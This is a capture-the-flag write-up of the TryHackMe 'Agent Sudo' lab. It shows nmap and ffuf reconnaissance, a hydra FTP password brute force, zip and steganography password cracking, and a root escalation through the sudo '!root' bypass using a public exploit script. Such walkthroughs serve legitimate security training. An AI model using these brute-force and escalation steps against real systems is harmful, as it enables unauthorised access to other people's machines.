TryHackMe - Agent Sudo
Published: 2023-09-17 22:56:19

# Recon

## Nmap

As usual we start with nmap

```bash
sudo nmap -sV -A -T4 10.10.227.114 -oN nmap_results.txt
"PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef1f5d04d47795066072ecf058f2cc07 (RSA)
|   256 5e02d19ac4e7430662c19e25848ae7ea (ECDSA)
|_  256 2d005cb9fda8c8d880e3924f8b4f18e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement"
```

Here we notice we have a ftp, ssh and http server.

## HTTP server

## Homepage

In this page we discover we need the codenames/usernames to navigate the server. One of the names should start with R.

![Homepage](https://t9009192254.p.clickup-attachments.com/t9009192254/18bc85b1-af7b-40b3-bf4a-60df5a52c584/image.png)

  

## Robots

No information can be extracted from the robots.txt page.

![Robots](https://t9009192254.p.clickup-attachments.com/t9009192254/9bc8a07e-5bcf-4198-ac83-a74e097b8077/image.png)

  

## FTP

We try to login with anonymous but we do not succeed

![Anonymous FTP](https://t9009192254.p.clickup-attachments.com/t9009192254/5271ab1c-80f8-49d8-8d4b-fe1f40322cce/image.png)


## Codenames

Since we know K is a codename we should try every letter of the alphabet

```bash
echo "A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z" > alphabet.txt
ffuf -w ./alphabet.txt -u http://10.10.201.112 -H "User-Agent: FUZZ" -fc 200 -fs 218 -fmode and -o ffuf_results.txt
# We notice User-Agent: C and R have a different page
curl -A "C" -L http://10.10.201.112:80/ 
"Attention chris, <br><br>

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>

From,<br>
Agent R"
curl -A "R" -L http://10.10.201.112:80/ 
"What are you doing! Are you one of the 25 employees? If not, I going to report this incident
<!DocType html>
<html>
<head>
        <title>Annoucement</title>
</head>

<body>
<p>
        Dear agents,
        <br><br>
        Use your own <b>codename</b> as user-agent to access the site.
        <br><br>
        From,<br>
        Agent R
</p>
</body>
</html>"
```

  

**Note:** As a default I always try to filter by size and status code. The response might be another size or the code might be another (in this case it was a redirect). We also use `-L` on curl to allow it to follow redirects.

  

We found there is an Agent C, also known as chris.

  

# FTP Server

We can try to bruteforce

```bash
hydra -t 32 -l chris -P /usr/share/wordlists/rockyou.txt 10.10.201.112 ftp -I -o hydra_results.txt
"Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-17 15:48:41
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344399 login tries (l:1/p:14344399), ~448263 tries per task
[DATA] attacking ftp://10.10.201.112:21/
[21][ftp] host: 10.10.201.112   login: chris   password: <password>
"
```

  

We can now enter the ftp

```bash
ftp 10.10.201.112
# chris
# <password>
ls
"-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png"
get To_agentJ.txt
get cute-alien.jpg
get cutie.png
exit
cat To_agentJ.txt
"Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C"
```

  

We use binwalk to extract extra content information from images

```bash
binwalk -e cutie.png
binwalk -e cute_alient.jpg
cd _cutie.png.extracted
ls
"365  365.zlib  8702.zip  To_agentR.txt"
cat To_agentR.txt
""
zip2john 8702.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
"<password>            (8702.zip/To_agentR.txt)"
7z e 8702.zip
cat To_agentR.txt
"Agent C,

We need to send the picture to '<base64>' as soon as possible!

By,
Agent R
"

# Stegseek is a binary to extract hidden data from files.
stegseek cute-alien.jpg /usr/share/wordlists/rockyou.txt
cat cute-alien.jpg.out
"
Hi james,

Glad you find this message. Your login password is <password>

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
"
```

  

With the files explored we can now login through ssh

  

# Entering Machine

```bash
ssh james@10.10.201.112
ls
"Alien_autospy.jpg  user_flag.txt"
cat user_flag.txt
sudo -l 
"Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash"
```

  

We query `(ALL, !root) /bin/bash` and discover we have an [exploit for it](https://www.exploit-db.com/exploits/47502).

  

# Privilege Escalation

```bash
python3 exploit.py
# We are now root
cat /root/root.txt
"
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
<flag>

By,
<Agent-R> a.k.a Agent R
"
```

  

Kanelao